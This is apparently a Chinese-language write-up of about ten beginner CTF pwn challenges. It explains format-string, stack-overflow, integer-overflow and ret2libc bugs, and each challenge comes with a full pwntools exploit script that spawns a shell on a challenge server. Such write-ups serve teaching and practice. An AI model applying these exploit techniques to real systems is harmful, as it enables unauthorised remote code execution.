涉及的工具有
Ubuntu 16.04
pwntools
IDA
gdb-peda
1、get_shell
連接就給flag,可以直接用nc連接,然后輸入ls查看里面的目錄,發現有名字叫flag文件,cat flag得到flag
64位的ELF 保護機制只有NX
然后用IDA看看,找到main函數,查看偽代碼
system函數可以直接獲得shell ,連接就可以獲得get shell
from pwn import * r=remote('111.198.29.45',51214) r.interactive()
2、CGfsb
先看看文件位數和保護機制
這里利用的是格式化字符串漏洞,當printf后面帶的是%n,那么它會把前面的字符串的長度輸入到內存中,只需要讓n前面有八個字符,就可以讓s等於8,pwnme=s=8,就可以cat flag
尋找一下輸入的參數在printf函數中的位置,通過不斷打印%x泄露內存的地址,發現61616161在第10位,61是a的ascll碼
那么可以構造exp
804a068是pwnme的地址,‘aaaa’和n前面的字符湊成8個字符 ,$是偏移量,意味着偏移了10
rom pwn import * r=remote('111.198.29.45',46202) r.recvuntil("please tell me your name:") r.sendline('name') payload=p32(0x804a068)+'aaaa'+'%10$n' r.sendline(payload) r.interactive()
執行結果
3、when_did_you_born
檢查保護機制
然后拖到IDA
要使v5輸入1926才能cat flag 但是一輸入1926就退出程序了,gets函數可以溢出,我們就可以在輸入的名字(v4)的時候填充無意義字符使其溢出,把v5原本的值覆蓋掉,替換成1926
在IDA雙擊&4(var_20)和&5(var_18) 發現它們相差0x8個字符。
當v4輸入的長度大於0x8個字符,大於8個的數會覆蓋掉v5,使v5重新賦值
那么可以構造腳本
from pwn import * r=remote('111.198.29.45',51232) r.recvuntil("What's Your Birth?") r.sendline('2019') #隨便填 r.recvuntil("What's Your Name?") payload='a'*0x8+p32(0x786) #0x786的十進制是1926 r.sendline(payload) r.interactive()
執行,獲取flag
4、hello_pwn
64位的ELF
打開了NX保護
丟到IDA看看,只需要讓dword_601068等於1853186401就可以執行sub_400686函數獲取flag
read存在溢出,且unk_691968和dword_60106c偏移量為4,那么很輕松就可以覆蓋dword_60106c的值
編寫腳本
from pwn import * #p=process('./hello_pwn') p=remote('111.198.29.45',31449) payload = 'a'*0x4+p64(1853186401) p.recvuntil("bof") p.sendline(payload) p.interactive()
執行
5、level0
程序是64位
NX保護
看看偽代碼先
返回vulnerable_function函數,read函數存在溢出
看看其他函數,_system函數可以執行系統命令
shift+F12看看字符串,發現有shell
思路很明確,讓read函數溢出然后執行system函數,並讓system函數的參數為/bin/sh, 我們就可以get到shell了
但是這是一個64位的程序,與32位不同,無法直接傳參進去,64位的程序會先把參數先存入寄存器中,前六個參數按順序存儲在寄存器rdi, rsi, rdx, rcx, r8, r9,所以我們需要找到rdi的地址
然后再找到‘/bin/sh’的地址
以及system的地址
腳本如下
from pwn import * r=remote('111.198.29.45',47491) rdi_add=0x400663 shell_add=0x400684 sys_add=0x400460 payload='a'*0x88+p64(rdi_add)+p64(shell_add)+p64(sys_add) r.sendline(payload) r.interactive()
--------------------------分割線------------------------------------
后面承認我瞎,沒有看到callsystem函數可以直接調用shell
重新寫腳本
from pwn import * r=remote('111.198.29.45',47491) payload='a'*0x88+p64(0x400596) r.sendline(payload) r.interactive()
結果如上,不再演示
6、level2
32位的ELF 只有NX保護
丟到IDA看看,引用vulnerable_funcion函數
system可以執行
shift+F12同樣看到了shell
思路跟上一題差不多,直接read溢出,利用system函數傳參來get shell
腳本如下
from pwn import *
r=remote('111.198.29.45',45695)
sys_add=0x8048320
shell_add=0x804a024
payload='a'*(0x88+0x4)+p32(sys_add)+'aaaa'+p32(shell_add) #aaaa是無效的返回地址
r.sendline(payload)
r.interactive()
執行結果
8、guess_num
檢查文件
用IDA打開看看
需要連續猜中10次才能得到flag,但是上面函數有gets這個危險的函數
v9經過0x20個字符就溢出到seed,那么如果把seed[0]變成我們可控的數字,就可以使v6和v8相等,得到flag
借鑒大佬的exp
from pwn import * from ctypes import * #python標准庫中自帶的ctypes模塊進行python和c的混合編程 r=remote('111.198.29.45',34125) libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") payload='a'*0x20+p64(1) r.recvuntil("\n") r.sendline(payload) libc.srand(1) for i in range(10): num=str(libc.rand()%6+1) r.recvuntil('\n') r.sendline(num) r.interactive()
libc的共享庫可以用ldd調用
執行結果
9、int_overflow
詳細解題思路鏈接
https://bbs.pediy.com/thread-254851.htm
先把流程走一遍
選1可以輸入名字和密碼(密碼要3到8位)否則判定無效數字,選2直接退出,然后我們看看判斷的函數
v3是一個無符號類型的數字,意味着范圍只能到0-255,如果輸入256,那么他會輸出0,這里存在整數溢出,無論是3~8還是259~264都是可以通過驗證的,那么就可以通過strcpy的棧溢出覆蓋what_is_this的返回地址,來獲得flag
exp如下
from pwn import * r=remote('111.198.29.45',50332) e=ELF("./int_overflow") what_is_this_addr=e.symbols['what_is_this'] r.recvuntil('Your choice:') r.sendline('1') r.recvuntil('Please input your username:') r.sendline('aaa') r.recvuntil('Please input your passwd:') payload='a'*(0x14+0x4)+p32(what_is_this_addr) payload=payload.ljust(262,'a') r.sendline(payload) r.interactive()
執行結果
10、cgpwn2
先檢查發現是一個32位的程序,只有NX保護
用IDA打開
上面那一大串沒什么用,但是有fgets函數和gets,同時name在bss段中,是全局變量
思路就是 用fgets輸入“/bin/sh“,返回地址覆蓋成system的地址,再把傳參(/bin/sh)到system里面即可get shell了
from pwn import * r=remote('111.198.29.45',31947) name_addr=0x804A080 #bss段中name的地址 e=ELF("./cgpwn2") sys_addr=e.symbols["system"] #獲取system的地址 r.recvuntil("\n") r.sendline("/bin/sh") payload='a'*(0x26+0x4)+p32(sys_addr)+p32(0xaaaa)+p32(name_addr) #0xaaaa是system的返回地址,隨便填 r.recvuntil("\n") r.sendline(payload) r.interactive()
執行結果
11 level3
ret2libc
因為之前做過,故不在演示
https://www.cnblogs.com/gaonuoqi/p/11684294.html
思路:通過read函數的棧溢出返回到write函數泄露出write本身或者read的地址,雖然libc里面的地址是隨機的,但是函數的相對位置是固定的,知道了read或wirte的真實地址就可以通過偏移量找到libc里面的system和/bin/sh,之后再次返回到vulnerable_funciton進行二次read的棧溢出,返回地址是system,並傳入參數/bin/sh構造system(/bin/sh)
exp如下
from pwn import * r=remote('111.198.29.45',33181) e=ELF('./level3') write_got=e.got['write'] write_plt=e.plt['write'] func_addr=e.symbols['vulnerable_function'] payload='a'*(0x88+0x4)+p32(write_plt)+p32(func_addr)+p32(0x1)+p32(write_got)+p32(0x4) r.recvuntil('Input:\n') r.sendline(payload) write_addr=u32(r.recv(4)) libc=ELF('./libc_32.so.6') write_libc=libc.symbols['write'] sys_libc=libc.symbols['system'] bin_libc=libc.search('/bin/sh').next() offset=write_addr-write_libc sys_addr=offset+sys_libc bin_addr=offset+bin_libc payload2='a'*(0x88+0x4)+p32(sys_addr)+p32(func_addr)+p32(bin_addr) r.recvuntil('Input:\n') r.sendline(payload2) r.interactive()
執行結果